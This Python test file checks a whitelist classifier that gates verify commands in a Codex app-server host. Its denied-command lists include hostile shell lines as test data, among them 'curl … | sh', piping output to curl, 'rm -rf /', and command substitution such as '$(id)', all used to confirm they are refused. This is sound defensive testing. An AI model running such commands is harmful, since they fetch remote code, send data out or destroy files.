Files
codex-app-server/tests/test_host_shell_policy.py
host 24517d922b host: 验测命令白名单 + 结构化 verify_argv(shell=True 收口)
方案 A(白名单)+ 方案 B-lite(结构化 argv)双轨:
- 分类器 classify_verify_command:POSIX 引号状态机扫描,
  simple(无 shell 形态)/ simple-env(仅 VAR=val 前缀)走
  shell=False,shell(白名单内形态)走唯一的 shell=True 门,
  denied(嵌套 shell、命令替换、未列首词、绝对/越界重定向、
  多行等)拒绝执行并审计,返回 126 按验测失败处理。
- 验测线 shell=True 从 4 处收口到 1 处(run_gated_verify),
  run_verify 与轮次验收 2 处全部改走该门;bandit High 4->2
 (nosec 0,未做任何压制)。
- verify_argv:merge/goal/goal-resume 的 --verify-argv
  (REMAINDER,须放最后;空数组报 usage 退出,不静默跳过),
  任务记录 verify_argv,goal-resume 原样重放;goal-resume
  的 max_rounds==0 钳制计入 argv 形态。
- verify-audit:扫描 state 旧任务并分类;--apply 只转 simple,
  shell/denied 只列清单;审计本身不启动 codex server。
- notify_failure 不动:算子自有配置 + 插值已 shlex.quote
  (main 已有),白名单不适用,见 PR 正文定性表。
测试:新增 tests/test_host_shell_policy.py 30 项(含 naive
shlex.split 破坏回归锁、拒绝不执行标记文件、merge 回滚、
goal unmet/argv 达标、CLI REMAINDER/空数组、verify-audit
端到端);顶层 135、deploy 39、cloud 1430(skipped 4)全过。
2026-11-03 02:49:26 +00:00

448 lines
21 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
"""host.py 验测命令白名单(shell=True 收口)的测试。
覆盖三件事,缺一不可:
1. 分类:simple / simple-env / shell / denied 的判定与拒绝原因;
2. 执行:拒绝绝不执行(第二条命令/命令替换的标记文件必须不
出现);simple/simple-env 走 shell=False;shell 形态(复合、
管道、重定向、环境变量、glob、引用)与旧 shell 语义等价;
3. 迁移:verify-audit 报告分类、--apply 只转 simple、不碰
shell/denied;naive 的 shlex.split 转换会破坏复合/管道/
重定向/环境变量语义(回归锁:以后不许有人把“改成
shell=False”理解成“直接 shlex.split 就行”)。
"""
import json
import os
import subprocess
import sys
import tempfile
import unittest
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(REPO_ROOT))
import host
def kind_of(cmd, cwd=None):
return host.classify_verify_command(cmd, cwd=cwd)["kind"]
class ClassifyTest(unittest.TestCase):
def test_simple_commands(self):
for cmd in ("python3 -m unittest discover -s tests -v",
"test -f result.txt",
"true",
"[ -f result.txt ]",
"echo hello",
"make test"):
with self.subTest(cmd=cmd):
self.assertEqual(kind_of(cmd), "simple")
def test_simple_argv_keeps_quoted_words(self):
info = host.classify_verify_command(
"python3 -m pytest \"tests/a b.py\"")
self.assertEqual(info["kind"], "simple")
self.assertEqual(info["argv"],
["python3", "-m", "pytest", "tests/a b.py"])
info = host.classify_verify_command("echo 'a b'")
self.assertEqual(info["argv"], ["echo", "a b"])
def test_single_quoted_dollar_is_literal_not_expansion(self):
# 单引号内 $ 是字面量:shell 与 argv 语义一致,走 simple。
info = host.classify_verify_command("echo '$HOME'")
self.assertEqual(info["kind"], "simple")
self.assertEqual(info["argv"], ["echo", "$HOME"])
def test_shell_features(self):
cases = {
"python3 -m pytest tests/ && echo done": "compound",
"python3 -m pytest tests/; echo done": "compound",
"python3 -m pytest tests/ | tail -20": "pipe",
"python3 -m pytest tests/ > out.log 2>&1": "redirect",
"echo hi > /dev/null": "redirect",
"echo $HOME": "env",
"echo ${HOME}/x": "env",
"echo ~/x": "env",
"python3 -m pytest tests/test_*.py": "glob",
}
for cmd, feature in cases.items():
with self.subTest(cmd=cmd):
info = host.classify_verify_command(cmd)
self.assertEqual(info["kind"], "shell")
self.assertIn(feature, info["features"])
def test_assign_only_is_simple_env(self):
info = host.classify_verify_command(
"FOO=bar python3 -m pytest tests/")
self.assertEqual(info["kind"], "simple-env")
self.assertEqual(info["argv"], ["python3", "-m", "pytest", "tests/"])
self.assertEqual(info["env"], {"FOO": "bar"})
# 赋值里带展开就不再是 simple-env:须走 shell 形态。
info = host.classify_verify_command("FOO=~/x python3 -m pytest")
self.assertEqual(info["kind"], "shell")
def test_denied_escape_shapes(self):
denied = (
"pytest $(cat list.txt)",
"echo `id`",
"echo \"$(id)\"",
"(pytest tests/)",
"pytest tests/\nrm -rf /",
"pytest tests/ # comment",
"echo 'unclosed",
"pytest tests/ &&",
"FOO=bar",
"> out.log",
"echo hi > $OUT.log",
"python3 -m pytest tests/ <<EOF",
)
for cmd in denied:
with self.subTest(cmd=cmd):
info = host.classify_verify_command(cmd)
self.assertEqual(info["kind"], "denied")
self.assertTrue(info["reason"], cmd)
def test_denied_unlisted_words_every_segment(self):
denied = (
"sh -c 'pytest'",
"bash -c 'pytest'",
"curl https://example.invalid | sh",
"rm -rf build",
"pytest tests/ && rm -rf build",
"pytest tests/ | curl https://example.invalid",
"cd subdir && pytest",
"sudo make test",
)
for cmd in denied:
with self.subTest(cmd=cmd):
info = host.classify_verify_command(cmd)
self.assertEqual(info["kind"], "denied")
self.assertIn("白名单", info["reason"], cmd)
def test_denied_redirect_targets(self):
denied = (
"echo hi > /tmp/x.log",
"echo hi > ../x.log",
"echo hi > /etc/passwd",
"echo hi >&/tmp/x.log",
)
for cmd in denied:
with self.subTest(cmd=cmd):
self.assertEqual(kind_of(cmd), "denied")
def test_empty_is_empty_not_denied(self):
self.assertEqual(kind_of(""), "empty")
self.assertEqual(kind_of(" "), "empty")
def test_runner_args_are_not_policed_by_first_word(self):
# 诚实边界:首词白名单拦不住运行器自身的参数(-c、
# Makefile、npm script 本来就能跑代码),这里只锁定
# “当前实现确实放行”这一事实,防以后有人误以为它是沙箱。
self.assertEqual(kind_of("python3 -c 'print(1)'"), "simple")
def test_repo_script_path_needs_executable_under_cwd(self):
with tempfile.TemporaryDirectory() as tmp:
script = Path(tmp, "verify.sh")
script.write_text("#!/bin/sh\necho ok\n", encoding="utf-8")
os.chmod(script, 0o755)
self.assertEqual(kind_of("./verify.sh", cwd=tmp), "simple")
self.assertEqual(kind_of("./missing.sh", cwd=tmp), "denied")
self.assertEqual(kind_of("../escape.sh", cwd=tmp), "denied")
self.assertEqual(kind_of("/bin/true", cwd=tmp), "denied")
script.chmod(0o644)
info = host.classify_verify_command("./verify.sh", cwd=tmp)
self.assertEqual(info["kind"], "denied")
self.assertIn("不可执行", info["reason"])
class GatedRunTest(unittest.TestCase):
def test_denied_never_executes_second_command(self):
with tempfile.TemporaryDirectory() as tmp:
marker = os.path.join(tmp, "pwned")
rc, out = host.run_gated_verify(
f"echo hi; touch {marker}", tmp)
self.assertEqual(rc, 126)
self.assertFalse(os.path.exists(marker))
self.assertIn("白名单拒绝", out)
def test_denied_never_executes_substitution(self):
with tempfile.TemporaryDirectory() as tmp:
marker = os.path.join(tmp, "pwned")
rc, _ = host.run_gated_verify(f"echo $(touch {marker})", tmp)
self.assertEqual(rc, 126)
self.assertFalse(os.path.exists(marker))
def test_denied_is_audited(self):
with tempfile.TemporaryDirectory() as tmp:
state_path = os.path.join(tmp, "host-state.json")
host.run_gated_verify("rm -rf build", tmp,
audit_state_path=state_path)
log = Path(tmp, "host-run.log").read_text()
self.assertIn("verify denied rc=126", log)
self.assertIn("rm -rf build", log)
def test_simple_runs_without_shell_expansion(self):
with tempfile.TemporaryDirectory() as tmp:
# shell=False 时 $HOME 不展开:输出就是字面量(经
# simple 分类?$HOME 是 env 形态,走 shell;这里用
# 引号字面量证明 simple 路径确实不经过 shell)。
rc, out = host.run_gated_verify("echo '$HOME'", tmp)
self.assertEqual((rc, out), (0, "$HOME"))
def test_simple_env_applies_assignments(self):
with tempfile.TemporaryDirectory() as tmp:
rc, out = host.run_gated_verify(
"FOO=bar python3 -c \"import os; print(os.environ['FOO'])\"",
tmp)
self.assertEqual((rc, out), (0, "bar"))
def test_shell_compound_pipe_redirect_env_glob_equivalence(self):
# 与旧 shell=True 语义逐项等价:同一命令在新旧两路下
# 输出一致(旧路直接 subprocess shell=True 对照)。
with tempfile.TemporaryDirectory() as tmp:
Path(tmp, "a.txt").write_text("hello\n", encoding="utf-8")
Path(tmp, "b.txt").write_text("world\n", encoding="utf-8")
cases = (
"echo a && echo b",
"cat a.txt | grep -q hello && echo found",
"echo data > out.log",
"FOO=hi python3 -c \"import os; print(os.environ['FOO'])\"",
"cat *.txt",
)
for cmd in cases:
with self.subTest(cmd=cmd):
old = subprocess.run(cmd, shell=True, cwd=tmp,
capture_output=True, text=True)
rc, out = host.run_gated_verify(cmd, tmp)
self.assertEqual(rc, old.returncode)
self.assertEqual(out, (old.stdout + old.stderr).strip())
def test_argv_is_literal_no_shell_parsing(self):
with tempfile.TemporaryDirectory() as tmp:
rc, out = host.run_verify_argv(["echo", "a;b", "$(x)", "*"], tmp)
self.assertEqual((rc, out), (0, "a;b $(x) *"))
with self.assertRaises(TypeError):
host.run_verify_argv("echo hi", tmp)
def test_run_verify_empty_and_default_unittest(self):
with tempfile.TemporaryDirectory() as tmp:
self.assertEqual(host.run_verify("", tmp), (0, ""))
self.assertEqual(host.run_verify("true", tmp), (0, ""))
class NaiveShlexSplitBreakageTest(unittest.TestCase):
"""锁死一条教训:把 shell 字符串直接 shlex.split 后走
shell=False 不是等价转换——复合、管道、重定向、环境变量、
glob 的语义全变。白名单的 simple 路径只对无形态命令用
shlex 结果,shell 形态必须走 shell=True(白名单内)或 argv。"""
def _naive(self, cmd, cwd):
import shlex
v = subprocess.run(shlex.split(cmd), shell=False, cwd=cwd,
capture_output=True, text=True)
return v.returncode, (v.stdout + v.stderr).strip()
def test_naive_split_breaks_compound(self):
with tempfile.TemporaryDirectory() as tmp:
rc, out = self._naive("echo a && echo b", tmp)
# naive 把 && 当成 echo 的参数,输出错误且 rc 仍 0:
# 这正是最危险的“静默语义变化”。
self.assertEqual(out, "a && echo b")
rc2, out2 = host.run_gated_verify("echo a && echo b", tmp)
self.assertEqual((rc2, out2), (0, "a\nb"))
def test_naive_split_breaks_pipe_and_redirect(self):
with tempfile.TemporaryDirectory() as tmp:
rc, out = self._naive("echo hello | grep hello", tmp)
self.assertNotEqual(out, "hello")
rc, out = self._naive("echo data > out.log", tmp)
self.assertFalse(os.path.exists(os.path.join(tmp, "out.log")))
def test_naive_split_breaks_env_assignment(self):
with tempfile.TemporaryDirectory() as tmp:
with self.assertRaises(FileNotFoundError):
self._naive("FOO=bar echo hi", tmp)
class MergeAndGoalIntegrationTest(unittest.TestCase):
def _make_repo(self, tmp):
subprocess.run(["git", "init", "-q"], cwd=tmp, check=True)
subprocess.run(["git", "config", "user.name", "Test"], cwd=tmp,
check=True)
subprocess.run(["git", "config", "user.email", "test@example.com"],
cwd=tmp, check=True)
Path(tmp, "mod.py").write_text("def f():\n return 1\n",
encoding="utf-8")
subprocess.run(["git", "add", "-A"], cwd=tmp, check=True)
subprocess.run(["git", "commit", "-qm", "initial"], cwd=tmp,
check=True)
subprocess.run(["git", "worktree", "add", os.path.join(tmp, "wt"),
"-b", "host/t1", "HEAD"], cwd=tmp, check=True)
return os.path.join(tmp, "wt")
def test_merge_denied_verify_rolls_back_and_keeps_worktree(self):
with tempfile.TemporaryDirectory() as tmp:
wt = self._make_repo(tmp)
pre = subprocess.run(["git", "rev-parse", "HEAD"], cwd=tmp,
capture_output=True, text=True).stdout.strip()
ok, msg = host.merge_task(tmp, wt, "host/t1", "t1",
verify_command="rm -rf build")
self.assertFalse(ok)
self.assertIn("白名单拒绝", msg)
now = subprocess.run(["git", "rev-parse", "HEAD"], cwd=tmp,
capture_output=True, text=True).stdout.strip()
self.assertEqual(now, pre)
self.assertTrue(os.path.isdir(wt))
def test_merge_verify_argv_wins_over_string(self):
with tempfile.TemporaryDirectory() as tmp:
wt = self._make_repo(tmp)
ok, msg = host.merge_task(tmp, wt, "host/t1", "t1",
verify_command="rm -rf build",
verify_argv=["true"])
self.assertTrue(ok, msg)
self.assertFalse(os.path.isdir(wt))
def test_goal_denied_verify_is_unmet_not_crash(self):
class FakeServer:
def run_turn(self, thread_id, prompt, model=None, effort=None,
sandbox=None, timeout=None):
return {"status": "completed", "text": "done",
"turn_id": "u1"}
with tempfile.TemporaryDirectory() as tmp:
state_path = os.path.join(tmp, "host-state.json")
state = {"tasks": {}, "automations": []}
task = {"name": "g", "thread_id": "x", "cwd": tmp,
"sandbox": None, "max_retries": 0, "retry_count": 0,
"turns": []}
state["tasks"]["g"] = task
result = host.run_goal_loop(FakeServer(), state, state_path,
task, "make it", "rm -rf build",
1, "m", "low", None, cfg={},
timeout=600)
self.assertFalse(result["ok"])
self.assertEqual(task["status"], "goal-unmet")
self.assertIn("白名单拒绝", task["goal_last_verify"])
def test_goal_verify_argv_runs_shell_false(self):
class FakeServer:
def run_turn(self, thread_id, prompt, model=None, effort=None,
sandbox=None, timeout=None):
return {"status": "completed", "text": "done",
"turn_id": "u1"}
with tempfile.TemporaryDirectory() as tmp:
state_path = os.path.join(tmp, "host-state.json")
state = {"tasks": {}, "automations": []}
task = {"name": "g", "thread_id": "x", "cwd": tmp,
"sandbox": None, "max_retries": 0, "retry_count": 0,
"turns": []}
state["tasks"]["g"] = task
result = host.run_goal_loop(FakeServer(), state, state_path,
task, "make it", None,
1, "m", "low", None, cfg={},
timeout=600,
verify_argv=["echo", "a;b"])
self.assertTrue(result["ok"])
self.assertEqual(task["status"], "goal-met")
self.assertEqual(task["verify_argv"], ["echo", "a;b"])
saved = host.load_state(state_path)
self.assertEqual(saved["tasks"]["g"]["verify_argv"],
["echo", "a;b"])
class VerifyAuditTest(unittest.TestCase):
def test_report_classifies_and_apply_converts_only_simple(self):
with tempfile.TemporaryDirectory() as tmp:
state = {"tasks": {
"simple-task": {"verify_command": "true", "cwd": tmp},
"shell-task": {"verify_command": "echo a && echo b",
"cwd": tmp},
"denied-task": {"verify_command": "rm -rf build",
"cwd": tmp},
"argv-task": {"verify_command": None,
"verify_argv": ["true"], "cwd": tmp},
"newform-task": {"verify_command": None, "cwd": tmp},
}, "automations": []}
report = host.build_verify_audit_report(state)
by_name = {r["task"]: r for r in report}
self.assertEqual(set(by_name),
{"simple-task", "shell-task", "denied-task",
"argv-task"})
self.assertEqual(by_name["simple-task"]["kind"], "simple")
self.assertEqual(by_name["simple-task"]["argv"], ["true"])
self.assertEqual(by_name["shell-task"]["kind"], "shell")
self.assertIsNone(by_name["shell-task"]["argv"])
self.assertEqual(by_name["denied-task"]["kind"], "denied")
self.assertEqual(by_name["argv-task"]["kind"], "argv")
class Args:
apply = True
json = False
state = os.path.join(tmp, "host-state.json")
with open(Args.state, "w", encoding="utf-8") as f:
json.dump(state, f)
# _cmd_verify_audit 内部用 load/save 语义:这里直接
# 传已加载的 state(main 里 state 正是 load_state 得来)。
loaded = host.load_state(Args.state)
host._cmd_verify_audit(Args(), loaded)
saved = host.load_state(Args.state)
self.assertEqual(saved["tasks"]["simple-task"]["verify_argv"],
["true"])
self.assertIsNone(saved["tasks"]["shell-task"].get("verify_argv"))
self.assertIsNone(saved["tasks"]["denied-task"].get("verify_argv"))
def test_cli_verify_argv_remainder_eats_dash_flags(self):
# --verify-argv 必须是 REMAINDER:nargs="+" 会把 -m 当成
# 未识别选项(实测回归)。这里用 merge 分支验证:任务无
# repo 时在 server 初始化后打印提示并返回,不跑验测。
with tempfile.TemporaryDirectory() as tmp:
state_path = os.path.join(tmp, "host-state.json")
with open(state_path, "w", encoding="utf-8") as f:
json.dump({"tasks": {"t": {}}, "automations": []}, f)
out = subprocess.run(
[sys.executable, str(REPO_ROOT / "host.py"),
"--state", state_path, "merge", "--task", "t",
"--verify-argv", "python3", "-m", "pytest", "tests/"],
capture_output=True, text=True, timeout=60)
self.assertEqual(out.returncode, 0, out.stderr[-2000:])
self.assertNotIn("unrecognized arguments", out.stderr)
self.assertIn("非 git worktree 任务", out.stdout)
def test_cli_verify_argv_empty_is_usage_error_not_skip(self):
with tempfile.TemporaryDirectory() as tmp:
state_path = os.path.join(tmp, "host-state.json")
with open(state_path, "w", encoding="utf-8") as f:
json.dump({"tasks": {"t": {}}, "automations": []}, f)
out = subprocess.run(
[sys.executable, str(REPO_ROOT / "host.py"),
"--state", state_path, "merge", "--task", "t",
"--verify-argv"],
capture_output=True, text=True, timeout=60)
self.assertEqual(out.returncode, 2)
self.assertIn("--verify-argv 后须至少给一个参数", out.stderr)
def test_audit_cli_does_not_boot_server(self):
# verify-audit 必须在 srv 构造前返回:没有 codex 二进制
# 也能跑,且不产生 host-steps/server 相关副作用。
with tempfile.TemporaryDirectory() as tmp:
state_path = os.path.join(tmp, "host-state.json")
with open(state_path, "w", encoding="utf-8") as f:
json.dump({"tasks": {
"t1": {"verify_command": "echo a && echo b",
"cwd": tmp}}, "automations": []}, f)
out = subprocess.run(
[sys.executable, str(REPO_ROOT / "host.py"),
"--state", state_path, "verify-audit"],
capture_output=True, text=True, timeout=60)
self.assertEqual(out.returncode, 0, out.stderr[-2000:])
self.assertIn("shell", out.stdout)
self.assertIn("t1", out.stdout)
if __name__ == "__main__":
unittest.main()